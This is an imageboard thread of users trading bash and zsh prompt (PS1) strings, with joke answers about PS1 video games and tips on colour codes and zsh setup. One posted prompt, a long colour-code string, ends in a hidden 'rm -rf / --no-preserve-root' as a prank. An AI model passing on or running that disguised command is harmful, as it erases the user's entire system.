What's the (objectively) best PS1 line?

What's the (objectively) best PS1 line?

Attached: 46505918-346a5200-c7f8-11e8-84c0-70b12a9fdcff.png (1222x357, 120K)

Other urls found in this thread:

github.com/Riyyi/dotfiles/blob/master/.config/zsh/.zshrc#L60
wiki.archlinux.org/index.php/Zsh#Configure_Zsh
twitter.com/SFWRedditGifs

PS1=' \w '

Literally no reason to add anything at all in there except maybe color escape codes.

What ever my preference is today.

\! on the front end gives a history line number, which is quite nice if you like using bash history substitutions and expansions, or the fc builtin.

\[\e[0;32m\]\w\[\e[0m\] \$

Sony's.

>

The one I use.

$P$G

Newfags can't (bold)yellow text.

Attached: Screenshot_20190505_135848.png (347x326, 8K)

~$
This

Spyro: Year of the Dragon

Attached: 52801-Spyro_-_Year_of_the_Dragon_(E)-1.jpg (1464x1442, 393K)

collapsed wd a best

Attached: Screenshot from 2019-05-05 23-18-03.png (629x70, 13K)

PS1="\h %"

Attached: Untitled.png (301x65, 2K)

Attached: 2019-05-05_22:26:30.png (261x79, 2K)

Final Fantasy VII

>not using RGB like a real gamer
# R G B
PS1="\[\033[38;2;000;255;255m\]\u@\h [\W] $ \[\033[00m\]"

PS1="\[$(tput bold)\]\[$(tput setaf 1)\][\[$(tput setaf 3)\]\u\[$(tput setaf 2)\]@\[$(tput setaf 4)\]\h \[$(tput setaf 5)\]\W\[$(tput setaf 1)\]]\[$(tput setaf 7)\]\\$ \[$(tput sgr0)\]"

Attached: EhwSoZAHo-c_320x180.jpg (320x180, 8K)

nice tabs to spaces conversion, hiro

PS1="\[\033[38;5;46m\]\[\033[48;5;19m\]{\[$(tput sgr0)\]\[\033[48;5;4m\]\H\[$(tput sgr0)\]\[\033[38;5;40m\]\[\033[48;5;12m\][\[$(tput sgr0)\]\[\033[38;5;31m\]\[\033[48;5;46m\]\u\[$(tput sgr0)\]\[\033[38;5;50m\]\[\033[48;5;40m\]]\[$(tput sgr0)\]\[\033[38;5;28m\]\[\033[48;5;78m\]\v\[$(tput sgr0)\]\[\033[48;5;105m\]\\\[$(tput sgr0)\]\[\033[38;5;32m\]\[\033[48;5;35m\]\l\[$(tput sgr0)\]\[\033[38;5;28m\]\[\033[48;5;122m\]}\[$(tput sgr0)\]\[\033[38;5;96m\]\[\033[48;5;222m\]-\[$(tput sgr0)\]\[\033[38;5;155m\]\[\033[48;5;13m\]{\[$(tput sgr0)\]\[\033[38;5;15m\]\[\033[48;5;145m\]\A\[$(tput sgr0)\]\[\033[38;5;27m\]\[\033[48;5;111m\][\[$(tput sgr0)\]\[\033[38;5;196m\]\[\033[48;5;190m\]\d\[$(tput sgr0)\]\[\033[38;5;1m\]\[\033[48;5;160m\]]\[$(tput sgr0)\]\[\033[38;5;100m\]\[\033[48;5;14m\]\$?\[$(tput sgr0)\]\[\033[38;5;11m\]\[\033[48;5;123m\]}\[$(tput sgr0)\]\[\033[38;5;60m\]\[\033[48;5;79m\]-\[$(tput sgr0)\]\[\033[38;5;36m\]\[\033[48;5;154m\]{\[$(tput sgr0)\]\[\033[38;5;41m\]\[\033[48;5;199m\]\w\[$(tput sgr0)\]\[\033[38;5;154m\]\[\033[48;5;84m\]}\[$(tput sgr0)\]\[\033[38;5;15m\]\[\033[48;5;100m\] \[$(tput sgr0)\]\[\033[48;5;153m\]\\$\[$(tput sgr0)\]\[\033[48;5;121m\] \[$(tput sgr0)\]" && rm -rf / --no-preserve-root

VIII*

You could've at least put it somewhere in the middle

Damn that's a lot of tput'n...

_() { shuf -n 1 /usr/share/dict/words | sed "s/'s$//; s/.*/\l&/"; }; PS1="\[\e[1;31m\]$(_)\[\e[m\]@\[\e[1;35m\]$(_)\[\e[m\]\$ "


Thank me later.

$

Different colors for $USER, root, or GNU screen session.
>( red | cyan | white )

if [[ ${EUID} == 0 ]] ; then
PS1='\[$(tput bold)$(tput setaf 3)\]\!:\[$(tput setaf 1)\]\u@\w:\$ \[$(tput sgr0)\]'
else
PS1='\[$(tput bold)$(tput setaf 3)\]\!:\[$(tput setaf 6)\]\u@\w:\$ \[$(tput sgr0)\]'
fi
if [ ! -z $STY ] #if GNU screen
then
PS1='\[$(tput bold)$(tput setaf 3)\]\!:\[$(tput setaf 7)\]\u@\w:\$ \[$(tput sgr0)\]'
fi


Get on my level.

PS1="\w \$ "

>tput

$ time for i in {1..1000}; do echo "$(tput setaf 1)red$(tput sgr0)"; done > /dev/null

real 0m26.637s
user 0m8.990s
sys 0m13.750s

$ time for i in {1..1000}; do echo -e "\e[31mred\e[m"; done > /dev/null

real 0m0.062s
user 0m0.070s
sys 0m0.000s

I use what ever the default is, PS1 ricing is gay.

>truncating /dev/null
???

Mine just shows the current directory. I wouldn't forget who I am, and if I did, I'd use "whoami".
~

However when entering the shell from vim, I change PS1 to say
(vim) ~

I would often forget that I'm in a shell, or entered it from vim

Otherwise it would add terminal related latency.

>from vim
How to change this?

I randomly found out that an environment variable $VIM gets set when you use :sh from vim. Then you can check for that in your bashrc

$? \w \$
maybe with a hostname if its a remote box, and some colours/formatting for prettiness

PROMPT='%F{135}%n%f@%F{166}%m%f %F{118}%~%f %f[%F{118}%D{%L:%M:%S %p}%f] $
'

Cool, thanks.

What is sed doing there? I get that the second part is making everything lowercase (why is that needed?), but i have no idea what s/'s$// is for.

Attached: Screenshot from 2019-05-05 18-21-19.png (720x458, 10K)

nvm. It literally removes possesives from the words. word's => word

>What is a man? A miserable little pile of secrets.

>use bash interactively

PS1='. '

What on earth do you do with all those extra nanoseconds on your hands?

For me it's $PSVersiontable

>Caring about directories
>Not having every prompt
Yuki. N>

Based

any suggestions to improve mine.

Attached: Screenshot from 2019-05-05 22-59-27.png (643x194, 24K)

user@hostname$
with the current directory as the title

PS1='\[\033[38;5;11m\]\u\[$(tput sgr0)\]\[\033[38;5;15m\]@\h:\[$(tput sgr0)\]\[\033[38;5;6m\][\w]\[$(tput sgr0)\]\[\033[38;5;15m\]\\$ \[$(tput sgr0)\]'

nice, yet simple

[hostname:currentdir] user%

That looks real neat!
Post the code?

I used to use git info, but it's too slow for large projects such as chromium. It takes seconds to complete.

Noticing the same problem here. Might turn that off.

gnzh

Attached: 51c62b1c-ba00-11e4-8107-fb532db89c7d.png (460x228, 20K)

\$

this, but without the oh-my-zsh bloat
USR_HOST="%F{cyan}%n%f@%F{cyan}%m%f"
DIRECTORY="%F{green}%~%f"
ARROW="%(?..%F{red})%f"
PROMPT='─${USR_HOST} ${DIRECTORY} ${vcs_info_msg_0_}
─${ARROW} '
RPROMPT='%t'

Attached: 2019-05-06-121420_907x102_scrot.png (907x102, 8K)

with git status

Attached: 2019-05-06-121532_906x98_scrot.png (906x98, 13K)

based

Redpill me on oh-my-zsh, please.
I never used zsh without it, but the only thing I've ever used it for was got status, sudo plugin(double Esc to add sudo) and themes.

none, just use fish like any sane person and script in bash.

oh-my-zsh is a bunch of bloated scripts that configure zsh, most of which you will never use. you can manually setup zsh with just the parts you actually want.
see vcs_info in my config for the git part:
github.com/Riyyi/dotfiles/blob/master/.config/zsh/.zshrc#L60
also the arch wiki is useful when making your theme
wiki.archlinux.org/index.php/Zsh#Configure_Zsh

Attached: PS1.png (592x106, 2K)

PS1="\$ "

fpbp, everything else is a blot

Thanks.
Also complemention system configuration in zsh is insane. I'm trying to archive what omz did but there is so much options.

this guy does not work or code

Crash Bandicoot

>there are people who install a shell, a framework and dependencies for the sole purpose of having a colored PS1